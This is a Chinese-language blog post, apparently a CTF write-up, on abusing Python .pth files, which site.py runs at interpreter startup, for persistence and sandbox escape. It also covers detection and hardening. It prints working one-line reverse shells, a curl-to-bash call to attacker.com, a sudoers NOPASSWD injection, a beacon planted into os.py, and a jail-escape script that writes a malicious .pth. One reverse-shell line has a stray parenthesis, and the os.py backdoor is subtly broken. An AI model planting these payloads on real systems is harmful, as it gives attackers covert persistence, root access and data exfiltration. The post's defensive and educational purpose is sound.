Python .pth 劫持

今年在应该是polarisctf上一道题目就是一个Python .pth劫持

一个文件,三行代码

.pth 是什么?

如果你写过 Python,你大概率从来没注意过 site-packages 目录里的那些 .pth 文件。

它们是这样的

/usr/lib/python3/dist-packages/easy_install.pth
/usr/lib/python3/dist-packages/setuptools.pth

这些文件被 Python 在启动时自动读取,作用是把额外的路径添加到 sys.path 里。简单说就是告诉 Python「去这些目录里找模块」。

很多人在读 Python 源码的时候,可能偶然扫到过 site.py 里这段逻辑,但从来没人深究过它的具体用途。

直到有一天,有人发现了一个藏在官方文档角落里的细节。

.pth 文件里有一类特殊的行,以 import 开头的行。

这些行,会被直接执行

# 一个普通的 .pth 文件
/home/user/my-packages
/opt/shared-libs

# 一个不普通的 .pth 文件 —— 这个会被执行
import os

是的你没有看错。

你只需在一个 .pth 文件里写一句 import os,然后把这个文件扔进 Python 的 site-packages 目录,每一次 Python 解释器启动的时候,都会自动把这一行当作代码来执行。

那如果把 import os 换成 import socket,subprocess;... 呢?

你猜对了。

import socket,subprocess,os;s=socket.socket();s.connect(('your-server',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])

一行反弹 Shell。每次有人启动 Python,Shell 就弹回来了。

一个文件,三行代码。不需要修改任何现有的 Python 代码,不需要替换任何系统文件,不需要任何特殊权限(除了 site-packages 的写入权限)。

纯纯的文本文件就能拿下权限维持。

为什么它能工作

要理解 .pth 劫持为什么能存在,你得先理解 Python 的启动流程。

当你敲下 python3 的时候,Python 解释器在加载你的代码之前,会先做一个「预飞」操作。这个操作由标准库里的 site.py 负责。

site.py 做的事情大概有这么几步。

初始化路径配置 → 读取 site-packages → 处理 .pth 文件 → 加载 sitecustomize.py → 交给你

在「处理 .pth 文件」这一步,Python 会遍历 site-packages 里的所有 .pth 文件,逐行读取。每一行如果是一个存在的路径,就加到 sys.path 里。

这是一个很正常的「路径配置」功能。

但 Python 的设计者额外加了一个小彩蛋,如果这一行以 import 开头,那就当成代码来执行。

这个彩蛋的原始目的很简单。有些包需要在加载前执行一些初始化工作,.pth 文件提供了一个轻量级的钩子。

但问题是,这个功能太隐蔽了。隐蔽到大多数开发者根本不知道它的存在,隐蔽到大多数安全工具也根本不会去检查它。

一个不知道存在的功能,就是最安全的攻击面。

因为没人会防它。

在 CPython 的源码里,site.py 处理 .pth 文件的核心逻辑大概长这样(我对代码做过一些精简,保留关键部分)

def addpackage(sitedir, name, known_paths):
    """处理 .pth 文件"""
    fullname = os.path.join(sitedir, name)
    try:
        f = open(fullname, "r")
    except OSError:
        return
    
    with f:
        for n, line in enumerate(f):
            # 跳过空行和注释
            if line.startswith("#"):
                continue
            if line.strip() == "":
                continue
            
            # 关键就在这里:如果以 import 开头,就执行
            if line.startswith("import"):
                exec(line)
            else:
                # 否则当成路径加入 sys.path
                # ...

注意那个 exec(line)

Python 的设计者用了一个 exec 来执行文件里的内容。把文件里 import 开头的那一行,直接喂给了 Python 的 exec 函数。

结果是什么呢,结果是你不仅限于 import 语句。你可以在一行 import 的末尾加分号然后接任何代码。

import os; os.system('curl http://attacker.com/shell.sh | bash')

这里有个需要注意的地方,只有 import 开头的那一行才会被执行。但 import 之后可以跟 ; 再接任意代码,这个限制基本上等于没有。

Python 的 exec 是完整的 Python 执行环境。只要以 import 开头,后面的所有东西都是你的游乐场。

权限维持的黄金手段

.pth 劫持在权限维持这个场景下,说实话比大多数传统手段都好用。

来做个对比。

Cronjob 维持。 需要写 crontab,容易被发现,crontab -l 一查就露馅。而且很多容器环境根本没有 cron 守护进程。

SSH 公钥注入。 只能用于 SSH 登录,只能拿到交互式 Shell。Python 服务可不会用 SSH。

SUID 后门。 文件权限改了就能被 find / -perm -4000 扫出来。

Web Shell。 需要 Web 服务开着,容易被 WAF 和文件完整性检测抓到。

.pth 劫持呢?

它藏在 site-packages 的茫茫文件海里。几百个 .py 文件和 .so 文件中间,混入一个不起眼的 .pth 文件。除非有人刻意去翻 site-packages 目录,否则根本不会注意到。

它的触发条件是「运行 Python」。在真实服务器上,Python 脚本在后台运行的频率,比你想象的高得多。系统监控脚本、备份工具、包管理器、Docker 容器启动脚本——到处都是 Python。

而且它是用户态的攻击。不需要内核模块,不需要修改系统关键路径,不需要重启服务。写好 .pth 文件之后,下一次有人调用 Python,恶意代码就自动执行了。

更骚的是,它不止一种玩法。

花样玩法

玩法一:反弹 Shell

这是最直接的路子。.pth 文件一行反弹 Shell,每次 import 都弹。

import socket,subprocess,os;s=socket.socket();s.connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2));subprocess.call(['/bin/bash','-i'])

但这个玩法有一个问题,反弹 Shell 太显眼了。如果目标机器上没有人在跑 Python,你弹了个寂寞。如果目标机器上 Python 脚本跑得特别频繁,你一晚上能被弹几百次 Shell。

所以实战中用的更多是第二种玩法。

玩法二:无感后门

不是在启动时反弹 Shell,而是在用户不知情的情况下植入一个全端口监听的 bind shell,或者修改一个关键文件。

import os; os.system('echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers')

或者更隐蔽一点,修改 Python 本身的某个标准库文件,在 os.system 或者 subprocess.call 里植入木马逻辑。

import shutil, os
# 备份原始文件
shutil.copy2('/usr/lib/python3/os.py', '/usr/lib/python3/os.py.bak')
# 在 os.system 中植入后门
with open('/usr/lib/python3/os.py', 'a') as f:
    f.write('\ndef system_impl(cmd):\n    import subprocess\n    subprocess.Popen(["curl", "-s", "http://attacker.com/beacon?cmd="+cmd])\n    return _system(cmd)\n')

这个就比较毒了。每次有人调用 os.system(),恶意代码都会偷偷跑一遍。而开发者完全不会察觉到任何异常——命令正常执行了,返回值和原来一模一样。

玩法三:直接 import 恶意模块

你甚至不需要在 .pth 里写多复杂的代码。你可以在同一个目录里放一个恶意模块,然后让 .pth 去加载它。

创建一个 hook.py

import os

def init():
    if os.geteuid() == 0:
        os.system('echo "FLAG_HERE" > /tmp/pwned')

然后 .pth 文件里只需要一句话:

import hook

hook 模块的名字不显眼,混在 site-packages 里完全不起眼。

Python jail 逃逸中的 .pth

.pth 劫持在 CTF 里最常出现的场景,其实是 Python 沙箱逃逸题。

这类题目的结构一般都是这样,你有一个受限的 Python 执行环境,你不能直接调用 os.system、不能访问 __builtins__、不能 import 危险的模块。
当时那个polarisctf里就是这样
很多人在这种题里疯狂折腾沙箱逃逸的 Payload。().__class__.__mro__[2].__subclasses__(),找 warnings.catch_warnings,找 _ModuleLock,玩命翻 __builtins__

但有一种出题人不太会想到的场景——如果这个 Python 环境能写文件呢?

很多 jail 题会让你输入多行代码,然后执行。如果你能通过某种方式(比如 open() 写文件),把一个 .pth 文件写到 site-packages 目录里,那你就拿到了一个「外挂」——不受沙箱限制的代码执行路径。

因为沙箱拦截的是你当前执行环境的 import。但 .pth 文件是在沙箱启动之前就已经被 site.py 加载并执行了。

换个角度来看,.pth 劫持绕过了沙箱本身。它不是从沙箱里面突破的,是从沙箱外面接了一根管子进来。

当然,这个场景有一个前提——你得知道 site-packages 的路径,并且有写入权限。

但这个前提在很多 CTF 题目里正好成立。Python jail 题的 Docker 容器经常以低权限跑服务,偏偏 site-packages 目录在容器里经常是可写的(尤其是 pip install 过的环境)。

这也是为什么我在刷题的时候,如果遇到能写文件的 Python jail,第一件事就是试 .pth

# 第一步:确定 site-packages 路径
# 可以通过 __file__ 来定位
print(__import__('sys').path)

# 第二步:写入恶意 .pth 文件
# 如果找到了可写的 site-packages 路径
with open('/usr/lib/python3/dist-packages/exploit.pth', 'w') as f:
    f.write('import os; os.system("cat /flag > /tmp/flag.txt")\n')

# 第三步:触发重启或重新加载
# 大多数情况下你退出当前环境再重连一次就行了

挺骚的。但确实好用。

持久化与清除

聊了怎么攻击,也得聊聊怎么防御和清除。

如果你怀疑自己的环境被植入了 .pth 后门,排查方式其实很简单。

# 找到所有 .pth 文件
find / -name "*.pth" -type f 2>/dev/null

# 检查每个 .pth 文件的内容,看看有没有 import 开头的行
for f in $(find / -name "*.pth" -type f 2>/dev/null); do
    if grep -q "^import" "$f" 2>/dev/null; then
        echo "[!] Suspicious .pth: $f"
        cat "$f"
    fi
done

就这两条命令,基本上能扫出所有的 .pth 劫持。

但这里有一个问题,.pth 文件如果被藏得很深,或者被改成了正常包名(比如 setuptools.pth 的变体 setuptools-extra.pth),手动排查是有难度的。

因为 .pth 文件是 Python 标准机制,安全软件一般不会把它标记为恶意。如果你在 site-packages 里看到一堆 .pth 文件,你根本分不清哪个是正常的、哪个是恶意的。

这恰恰是 .pth 劫持最可怕的地方,它用的不是漏洞,用的是正常功能。

所以更根本的防御手段不是扫描 .pth 文件,而是控制 site-packages 目录的写入权限。

# site-packages 目录应该只有 root 能写
chmod -R 755 /usr/lib/python3/dist-packages/
chown -R root:root /usr/lib/python3/dist-packages/

很多 CTF 环境和生产环境出问题,根本原因就是 site-packages 权限放得太松了。

还有一个容易被忽视的点——pip 安装的包有时候也会带入恶意的 .pth 文件。有些恶意包在 setup.py 里偷偷生成一个 .pth 文件作为持久化手段,装完包之后即使卸载了包,.pth 文件还留在目录里。

所以安装 pip 包的时候,--no-usersite 和隔离环境(virtualenv、docker)是推荐的实践。虽然不是 100% 安全,但至少能减少攻击面。

更多推荐